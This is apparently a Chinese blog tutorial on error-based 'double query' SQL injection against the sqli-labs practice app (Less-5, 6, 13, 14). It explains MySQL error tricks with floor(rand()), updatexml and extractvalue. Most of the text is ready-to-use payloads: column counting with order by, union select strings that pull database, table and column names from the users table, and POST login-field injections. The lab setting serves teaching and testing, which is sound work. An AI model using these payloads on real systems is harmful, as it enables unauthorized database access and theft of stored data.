双查询注入实战实例
实例来自sql-libs
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
输入:?id=1
输入?id=1’
发现可以显示报错,可知后台代码用单引号闭合。之后只要查询正确就显示You are in…,否则啥也不显示,可是即使正常闭合也不会显示数据。这么一个双查询注入硬是被生生的做成了盲注,,其实这里的双查询也就是个基于报错的盲注。
因为源代码并没有输出查询结果:
很明显正常是不能够爆出来数据库的内容,所以除了盲注,就要通过报错来显示数据库中的内容。
MySQL显错式注入
MySQL也存在显错式注入,可以像SQL Server数据库那样,使用错误提取消息。
对于SQL Server 方式,比如,将一个字符串转换为Int 类型,SQL Server 将会报错,如:select convert(int, (select @@VERSION))
,SQL Server将会提示:
- 在将nvarchar值’Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel
X86) Jul 9 2008 14:43:34 Copyright © 1988-2008 Microsoft
Corporation Enterprise Edition on Windows NT 6.1 (Build 7600:
)’ 转换成数据类型int时失败
这样可以通过一些异常将字符串消息提取出来,通过同样的方式,在MySQL数据库里使用类似的如下转换语句:select convert ((select @@version) , SIGNED );
±------------------------------------------------------+
| convert ( (select @@version) , SIGNED ) I
±------------------------------------------------------+
| 5|
±------------------------------------------------------+
我们发现根本没有提示错误消息,所以SQL Server的这种显错特性,并不能应用到MySQL中。
虽然MySQL不能直接转换报错,但能利用MySQL中的一些特性提取错误消息:
①通过updatexml函数,执行SQL语句select * from message where id = 1 and updatexml (1, (concat (0x7C, (select @@version))) ,1);
显示结果如下:
ERROR 1105 (HY000): XPATH syntax error: ’ 15.1.50-community-1og’
②通过extractvalue函数,执行SQL语句select * from message where id= 1 and extractvalue (1, concat (0x7C, (select user()));
显示结果如下:
ERROR 1105 (HY000): XPATH syntax error: ’ I aaa@qq.com’
③通过floor函数,执行SQL语句(主要)select count(*),concat('~'(select user()),'~',floor(rand()*2)) as a from information_schema.tables group by a;
显示结果如下:ERROR 1062 (23000): Duplicate entry 'aaa@qq.com~1' for key 'group_key'
这里的~这个符号只是为了让结果更清晰。
通过此类函数,可以达到与SQL Server数据库显错类似的效果。
有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。(我发现如果没有floor和rand函数也是不会报错的)
下面开始我的注入.
先要确定sql语句中的字段数:
1' order by 1--+ //You are in...........
1' order by 3--+ //You are in...........
1' order by 4--+ //无回显或报错
可知有4个查询字段。
爆库:
?id=1' union select count(*),1, concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
这里要注意union select语句前后字段一定要相同。
数据库为security
由于这里的报错具有随机性,所以如果没有报错需要多提交几次
爆表:
?id=-1' union select count(*),1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a--+
发现竟然没啥也没爆出来,这是怎么回事,又刷新了好几次,也是啥也爆不出来。我在mysql命令行中试验了一下:
发现连续好多次都没有报错,可能是因为加上group_concat()之后报错的几率大大降低了。这样的话我们就只能借助limit关键字来报错了,则:
再次爆表:
?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2)) as a from information_schema.tables group by a--+
几次刷新之后最终爆的users表,就是有点麻烦得一个一个试出来而且还不一定一次就成功,有时要刷新几次。
爆字段:
?id=-1' union select count(*),1,concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1,concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1,concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),floor(rand()*2)) as a from information_schema.tables group by a--+
之后用同样的方法报数据就行了。
本次注入是因为他没有显示参数的值出来,所以我们先想到的是让他在错误中体现出来 然后一步一步摸索
这里有一定的随机性,所以有时候需要多刷新几遍才能报错出来。
Less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
和less5一样,只不过变成了双引号闭合
爆表:
?id=1" union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
爆字段:
?id=1" union select count(*),1,concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
GET型的双注入就先示范到这里,接下来我们实验POST型的。
Less 13 POST - Double Injection - Single quotes- String -twist (POST单引号双注入)
输入
username: 1'
password: 123
报错:
这里应该是加进去的单引号跟前面的单引号闭合,剩余的单引号与password前面的单引号闭合,最后剩余了password后面的单引号。
如,我们这样:
可知后台仅仅用了单括号和单引号来闭合。
我们试试万能密码,来玩一下:
可是却没有显示信息,只能用双查询注入,
猜sql语句中的字段:
POST: uname=1') order by 3#passwd=123
无回显,那我们就可以用双查询注入猜字段数:
POST: uname=1') union select count(*),1,concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#&passwd=123 (注意count()与concat()之间有个1)//报错:The used SELECT statements have a different number of columns
POST: uname=1') union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#&passwd=123
一次不能成功,多刷新几次终于爆出数据库名。
爆表:
其余操作前面有不再细说。
Less 14 POST - Double Injection - Double quotes- String -twist (POST双引号变形双注入)
变为双引号闭合,操作同less 13
附录:
在实战中我们发现,双注入是一种基于报错的注入方式,这种报错是有几率的,并不是说一次就能成功,有时要多刷新几次才能报错。
还有就是在双查询注入中使用group_concat()函数,报错几率就会大大降低,几乎不报错了。
上一篇: SqlServer动态表查询
下一篇: B-tree算法需求分析及实现